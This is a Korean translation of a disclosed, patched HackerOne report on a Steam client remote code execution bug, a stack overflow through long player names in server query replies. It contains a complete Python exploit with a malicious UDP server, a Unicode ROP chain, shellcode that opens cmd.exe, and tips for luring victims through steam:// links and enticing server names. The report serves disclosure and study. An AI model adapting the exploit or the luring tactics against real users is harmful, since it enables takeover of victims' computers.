서버 info의 버퍼 오버플로우 공격을 통한 스팀 클라이언트 RCE(Remote Code Execution)

출처 : [hackerone hacktivity, 작성자 : Vanhoecke Vinnie (vinnievan)] https://hackerone.com/reports/470520

[ 본 이슈는 해결 된 상태이며, 취약점은 한국시각으로 2019년 3월 16일 오전 4시 47분에 공개되었습니다. Valve에 리포팅 되었으며, 해당 프로그램과 서버는 Steam의 자산입니다. 취약점의 종류는 Classic Buffer Overflow이며, 포상금은 $18000달러로 한화로 약 2048만원 입니다. 해당 취약점은 해당 도메인에서 9.6/10의 심각성을 내포하고 있습니다. ]


– 소개

스팀 게임과 다른 valve게임(카스글옵, 하프라이프, 팀포2)에서는 서버 브라우저라고 불리는 게임 서버를 찾을 수 있는 기능이 있습니다. 이 서버들의 정보를 불러오기 위해서 서버 브라우저는 서버 쿼리라고 불리는 특정한 UDP 프로토콜과 통신합니다. 이 프로토콜은 온라인 개발자 스팀 메뉴얼에 잘 기술되어 있습니다. 저희는 커스텀 파이썬 서버를 실행하였으며 이것은 이 문서에 있는 동일한 정보를 활용한 프로토콜에만 응답하는 것입니다. 프로토콜의 성공적인 시행(implementation) 이후 저희는 몇 개의 파라미터를 퍼징하고 알아차리게 된 것이 있었는데 저희의 커스텀 서버로부터 응답을 받을 때 스팀 클라이언트가 크래쉬났던 것이었습니다. 더 구체적으로, A2S_PLAYER 응답에 쓰이는 긴 플레이어 이름에 대답할 때 클라이언트가 크래쉬가 납니다. 디버거를 붙였을 때 저희는 스택에 기반한 버퍼 오버플로우 때문에 크래시가 났다는 것을 깨달을 수 있었습니다.

이건 명백하게 무언가가 잘못되었다는 것을 시사하는 것이고 저희는 버퍼 오버플로우 공격을 가능하게 하기 위해 더 조사를 했습니다. 더 많은 조사끝에, 저희는 오버플로우가 서버 브라우저 라이브러리에서 발생한다는 것을 알 수 있었습니다. 어떤 지점에서는 플레이어의 이름이 유니코드로 변경되고 오버플로우가 나는데 이 것은 바운더리 체킹을 하지 않았기 때문입니다. 게다가, 그곳에는 (스택)카나리 보호기법 역시 적용되지 않고 있습니다. 이를 통해 저희가 리턴 주소를 덮어쓸 수 있고 윈도우즈에서 임의의 코드를 실행시킬 수 있었습니다.


– 공격 상세 설명

저희는 공격의 영향력을 증명하고 공격을 수행해보고 싶었습니다. 먼저, 리턴 주소를 덮어씀으로써 저희는 리눅스에서 테스트했고 실행 흐름을 즉시 제어할 수 있었습니다. 그러나 리눅스에서, 저희는 두 바이트의 EIP 레지스터만을(예를 들어, 0x00004141) 제어할 수 있었고 더 이상의 공격은 수행하지 않았습니다. OSX에서는, 프로세스가 SIGABRT에서 끝나는데, 이 말은 (스택)카나리 보호기법이 OSX 라이브러리에 적용되어있을 수도 있다는 의미입니다. 그리고 저희는 윈도우즈에서 공격을 시도해보았고 성공했습니다(윈도우즈 8.1과 10버전에서 테스트했습니다).

윈도우즈에서, A*1100와 같이 UDP를 통해 플레이어 이름을 전송한다면 결과적으로 스택 레이아웃은 다음과 같게 됩니다 :

0x00410041
0x00410041
...

유니코드 변환(wide-char) 때문에 이런 현상이 나타나는데요, 플레이어 이름이 유니코드 문자를 쓸 수 있기 때문에 그러합니다. u”\u4141″*1100와 같이 유니코드 문자로 플레이어 이름을 전송하면 다음과 같은 결과를 받아볼 수 있게 됩니다 :

0x41414141
0x41414141
...

그러나, 우리가 함수가 리턴되기 전에 스택과 레지스터를 변조(corrupting) 시켰기 때문에, 저희는 EIP 레지스터에 대한 제어권이 없습니다. EDI 레지스터를 역참조한 후에 프로그램은 충돌이 났지만, 제어를 할 수 있게 되었습니다. 저희는 이런 Steam.exe 바이너리의 상수 값을 이용한 특정한 조건을 만족시켰습니다:

special condition

그리고서, 우리는 스택이 실행될 수 있도록하고 cmd.exe를 실행시키기 위해서 우리의 유니코드 쉘코드로 점프할 수 있는 VirtualProtect를 동적으로 호출하기 위해, Steam.exe에서 가져온 도구를 사용해 유니코드 ROP체인을 만들었습니다. 문자열이 끊기기 때문에 우리는 0x00000040과 같은 값을 사용하지 못했고 이것은 큰 난제였습니다. 또한 우리는 u”\uda01″과 같은 유효하지 않은 유니코드 문자들도 사용하지 못했습니다. 왜냐하면 해당 라이브러리는 이 문자들을 물음표 ?0x003F로 대체하기 때문입니다.

참고: Steam.exe 베이스 주소 값을 기반으로 모든 것이 계산되었습니다. 이 주소 값은 당신이 스팀을 재실행할 때가 아니라 당신이 윈도우즈 8이나 10을 다시시작할 때 바뀝니다. 만약 당신이 취약점 공격을 할 때마다 베이스 주소를 수정해준다면 해당 공격은 100% 신뢰할만 합니다. 그러나 당신은 ASLR 때문에 희생자 컴퓨터의 베이스 주소 값을 예측할 수 없습니다. 그럼에도 불구하고, 우리는 두 가지의 공격 시나리오를 세웠습니다:

  • 9바이트만을 랜덤화한다: 공격자는 0.2% (1/512)의 가능성을 가지고 희생자를 성공적으로 공격할 수 있는데, 이것은 공격자가 모든 스팀 유저에게 대량의 분산 공격을 하는 것 보다 많은 수 입니다(평균적으로 모든 512시도에서 새로운 희생자 1명).
  • 이 취약점을 100%의 신뢰성을 가지게 하기 위해서 다른 메모리 유출 취약점과 연결시켜 공격할 수 있습니다.

– 공격이 발생되는 과정

먼저, 스팀이 깔려있어야 합니다. 만약 당신이 베타 버전을 사용중이라면, 공격 코드의 베타버전 가젯의 주석을 풀어주세요.

  1. 첨부파일을 다운로드 받습니다: steam_serverinfo_exploit.py (F395515)
  2. 이뮤니티 디버거와 같은 디버거를 사용하고 스팀을 엽니다.
  3. Steam.exe의 베이스 주소 값을 가져옵니다(View-> Executable modules) 그리고 100%의 신뢰성을 위해 steam_serverinfo_exploit.pySTEAM_BASE 변수를 수정합니다.
  4. 사용할 수 있는 아무 서버 상에서(예를 들어, localhost) 공격을 수행시킵니다: python steam_serverinfo_exploit.py
  5. POC.html 코드를 수정한 후 iframe src의 서버 IP주소를 변경합니다.
  6. 브라우저를 열고 cmd.exe가 실행되길 기다립니다.
  7. 메뉴(View -> Servers)를 통해 서버 브라우저를 열 수 있고 View server info를 클릭해서 공격을 트리거할 수 있습니다(만약 당신이서버를 동일한 네트워크에서 실행중이라면 그것은 LAN section에서 보일 겁니다).
(3번 참고 이미지) steam_base_addres

– 개념 증명(PoC)

Steamclient_POC_Windows10

Steamclient_POC_Windows10.mp4: 윈도우즈 10 환경에서 스팀 서버 브라우저를 통한 공격을 담은 영상

SteamURL_POC_Windows10

SteamURL_POC_Windows10.mp4: 윈도우즈10환경에서 숨겨진 자동적인 공격을 유발하는 iframe이 숨겨진 악의적인 웹 페이지를 통해 공격이 수행되는 영상

POC.html
SteamURL 비디오에 쓰인 html 페이지 공격 코드 입니다.

– 공격 코드

import logging
import socket
import textwrap


### Exploit for Server Info - Player Name buffer overflow (Steam.exe - Windows 8 and 10) #######
# More info: https://developer.valvesoftware.com/wiki/Server_queries
# Shellcode must contain valid unicode characters, pad with NOPs :)


STEAM_BASE = 0x01180000

# Shellcode: open cmd.exe
shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01\xda\x90\x8b\x52\x78\x01\xda\x8b\x72\x20\x90\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x90\x01\xde\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x90\x01\xda\x31\xf6\x89\xd6\x31\xff\x89\xdf\x31\xc9\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x83\xc4\x0c\x31\xc9\x68\x65\x73\x73\x42\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\x57\x31\xff\x89\xc7\xff\xd6\x83\xc4\x0c\x31\xc9\x51\x68\x64\x6c\x6c\x41\x88\x4c\x24\x03\x68\x6c\x33\x32\x2e\x68\x73\x68\x65\x6c\x54\x31\xd2\x89\xfa\x89\xc7\xff\xd2\x83\xc4\x0b\x31\xc9\x68\x41\x42\x42\x42\x88\x4c\x24\x01\x68\x63\x75\x74\x65\x68\x6c\x45\x78\x65\x68\x53\x68\x65\x6c\x54\x50\xff\xd6\x83\xc4\x0d\x31\xc9\x68\x65\x78\x65\x41\x88\x4c\x24\x03\x68\x63\x6d\x64\x2e\x54\x59\x31\xd2\x42\x52\x31\xd2\x52\x52\x51\x52\x52\xff\xd0\xff\xd7"


def udp_server(host="0.0.0.0", port=27015):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    print("[*] Starting TSQuery UDP server on host: %s and port: %s" % (host, port))
    s.bind((host, port))
    while True:
        (data, addr) = s.recvfrom(128*1024)
        requestType = checkRequestType(data)
        if requestType == "INFO":
            response = createINFOReply()
        elif requestType == "PLAYER":
            response = createPLAYERReply()
            print("[+] Payload sent!")
        else:
            response = 'nope'
        s.sendto(response,addr)
        yield data


def checkRequestType(data):
    # Header byte contains the type of request
    header = data[4]
    if header == "\x54":
        print("[*] Received A2S_INFO request")
        return "INFO"
    elif header == "\x55":
        print("[*] Received A2S_PLAYER request")
        return "PLAYER"
    else:
        print "Unknown request"
        return "UNKNOWN"


def createINFOReply():
    # A2S_INFO response
    # Retrieves information about the server including, but not limited to: its name, the map currently being played, and the number of players.
    pre = "\xFF\xFF\xFF\xFF"                         # Pre (4 bytes)
    header = "\x49"                                  # Header (1 byte)
    protocol = "\x02"                                # Protocol version (1 byte)
    name = "@Kernelpanic and [@0xacb](/0xacb) Server" + "\x00" # Server name (string)
    map_name = "de_dust2" + "\x00" # Map name (string)
    folder = "csgo" + "\x00" # Name of the folder contianing the game files (string)
    game = "Counter-Strike: Global Offensive" + "\x00" # Game name (string)
    ID = "\xda\x02" # Game ID (short)
    players = "\xFF" # Amount of players in the server (byte)
    maxplayers = "\xFF" # Max player allowed (byte)
    bots = "\x00" # Bots in game (byte)
    server_type = "d" # Server type, d = dedicate (byte)
    environment = "l" # Hosted on windows linux or mac, l is linux (byte)
    visibility = "\x00" # Password needed? (byte)
    VAC = "\x01" # VAC enabled? (byte)
    version = "1.3.6.7.1\x00"
    return pre + header + protocol + name + map_name + folder + game + ID + players + maxplayers + bots + server_type + environment + visibility + VAC + version


def to_unicode(addr):
    a = addr & 0xffff;
    b = addr >> 16;
    return eval('u"\\u%s\\u%s"' % (hex(a)[2:].zfill(4), hex(b)[2:].zfill(4)))


def convert_addr(gadget):
    return to_unicode(STEAM_BASE + gadget - 0x400000)


def convert_shellcode(code):
    code = code + "\x90"*8 #pad with nops
    output = ""
    l = textwrap.wrap(code.encode("hex"), 2)
    for i in range(0, len(l)-4, 4):
        output += "\\u%s%s\\u%s%s" % (l[i+1], l[i], l[i+3], l[i+2])
    return eval('u"%s"' % output)


def pwn():
    print("[*] Building ROP chain")

    # ROP gadgets for Steam.exe Nov 26 2018
    pop_eax = convert_addr(0x503ca7)
    pop_ecx = convert_addr(0x41bd9f)
    pop_edx = convert_addr(0x413a53)
    pop_ebx = convert_addr(0x40511c)
    pop_ebp = convert_addr(0x40247c)
    pop_esi = convert_addr(0x404de6)
    pop_edi = convert_addr(0x423839)
    jmp_esp = convert_addr(0x4413bd)
    pushad = convert_addr(0x425e00)
    ret_nop = convert_addr(0x401212)
    mov_edx_eax = convert_addr(0x5599a6)
    sub_eax_41e82c6a = convert_addr(0x51584f)
    mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret = convert_addr(0x4e24eb)
    mov_esi_ptr_esi_mov_eax_esi_pop_esi = convert_addr(0x4506ea)
    xchg_eax_esi = convert_addr(0x543b86)

    writable_addr = convert_addr(0x69a01c)
    virtual_protect_idata = convert_addr(0x5f9280)
    new_protect = to_unicode(0x41e82c6a+0x40)
    msize = to_unicode(0x41e82c6a+0x501)

    '''
    # ROP gadgets for Steam.exe Beta Dec 14 2018
    pop_eax = convert_addr(0x425993)
    pop_ecx = convert_addr(0x41bd9f)
    pop_edx = convert_addr(0x413a53)
    pop_ebx = convert_addr(0x40511c)
    pop_ebp = convert_addr(0x40247c)
    pop_esi = convert_addr(0x404de6)
    pop_edi = convert_addr(0x423839)
    jmp_esp = convert_addr(0x4413bd)
    pushad = convert_addr(0x425e00)
    ret_nop = convert_addr(0x401212)
    mov_edx_eax = convert_addr(0x559d46)
    sub_eax_31e82c6a = convert_addr(0x515bbf)
    mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret = convert_addr(0x4e284b)
    mov_esi_ptr_esi_mov_eax_esi_pop_esi = convert_addr(0x4506ea)
    xchg_eax_esi = convert_addr(0x515b5e)

    writable_addr = convert_addr(0x69a01c)
    virtual_protect_idata = convert_addr(0x5fa280)
    new_protect = to_unicode(0x31e82c6a+0x40)
    msize = to_unicode(0x31e82c6a+0x501)
    '''

    rop = pop_eax + msize + sub_eax_41e82c6a + mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret \
              + u"\ub33f\ubeef" + mov_ebx_ecx_mov_ecx_eax_mov_eax_esi_pop_esi_ret + ret_nop*0x10 \
              + pop_ecx + writable_addr \
              + pop_eax + new_protect + sub_eax_41e82c6a + mov_edx_eax \
              + pop_ebp + jmp_esp + pop_esi + virtual_protect_idata \
              + mov_esi_ptr_esi_mov_eax_esi_pop_esi + u"\ub33f\ubeef" + xchg_eax_esi + pop_edi \
              + ret_nop + pop_eax + u"\u9090\u9090" + pushad

    #special conditions to avoid crashes
    special_condition_1 = to_unicode(STEAM_BASE + 0x10)
    special_condition_2 = to_unicode(STEAM_BASE + 0x11)
    payload = "A"*1024 + u"\ub33f\ubeef"*12 + special_condition_1 + special_condition_2*31 + rop + shellcode
    return payload.encode("utf-8") + "\x00"


def createPLAYERReply():
    # A2S_player response
    # This query retrieves information about the players currently on the server.
    pre = "\xFF\xFF\xFF\xFF"                        # Pre (4 bytes)
    header = "\x44"                                 # Header (1 byte)
    players = "\x01"                                # Amount of players (1 byte)
    indexPlayer1 = "\x01"                           # Index of player (1 byte)

    namePlayer2 = pwn()
    scorePlayer2 = ""
    durationPlayer2  = ""
    return pre + header + players + indexPlayer1 + namePlayer2 + scorePlayer2 + durationPlayer2


FORMAT_CONS = '%(asctime)s %(name)-12s %(levelname)8s\t%(message)s'
logging.basicConfig(level=logging.DEBUG, format=FORMAT_CONS)

if __name__ == "__main__":
    shellcode = convert_shellcode(shellcode)
    for data in udp_server():
        pass

– 영향

우리의 악의적인 서버의 서버 info를 보는 어떠한 스팀 유저라도 공격자의 악의적인 임의의 코드 실행으로부터 공격받을 수 있습니다. 보통 공격자는 희생자의 컴퓨터의 제어권을 얻기위해 C2 기반구조와 연결되는 백도어를 실행합니다. 그곳에서부터 공격자는 공격자가 원하는 어떠한 것이라도 할 수 있습니다(예를 들어, 계정 탈취, 스팀 유저의 모든 아이템 훔치기, OS에 추가적인 악성프로그램 설치, 문서 빼내기 등).

공격 코드를 실행하기 위해서 사용자를 속이는 몇 가지 방법이 있습니다:

  • 스팀 클라이언트 서버 브라우저의 서버 info를 사용자가 본다.
  • 스팀 브라우저 프로토콜 요청이 실행되는 곳에서 사용자는 악의적인 웹 페이지를 방문한다: steam://connect/1.2.3.4

추가적으로, 공격 가능성을 높이기 위한 몇가지 방법이 있습니다:

  • 스팀 브라우저 프로토콜을 이용한 웹사이트를 통해 공격이 유발됩니다.
  • 많은 사용자들이 브라우저의 Open Steam 버튼을 누를 필요가 없습니다(항상 이러한 종류의 링크들은 관련된 애플리케이션에서 열립니다).
  • 첫번째의 info 응답에 공격이 포함되어있지 않다면 이는 사용자를 속일 수 있는 좋은 방법이 됩니다.
    • 해당 서버를 유저가 이용하도록 서버 이름을 잘 골라야 합니다.
    • (해당 서버에) 접속해있는 인원을 많게 설정할수록 더 많은 사람들이 접속할 가능성이 높습니다.
    • 사람들이 접속하길 유도하기 위해 맵 이름을 흥미롭게 지어야 합니다.
    • 해당 서버의 플레이어의 수가 이 서버가 수용할 수 있는 최대치에 도달한다면 서버 info 박스가 자동적으로 열리게 되며 첫번째 자동 새로고침 후 공격은 성공적으로 수행되게 됩니다.

Vinnie Vanhoecke @vinnievan and André Baptista @0xacb올림.

댓글 남기기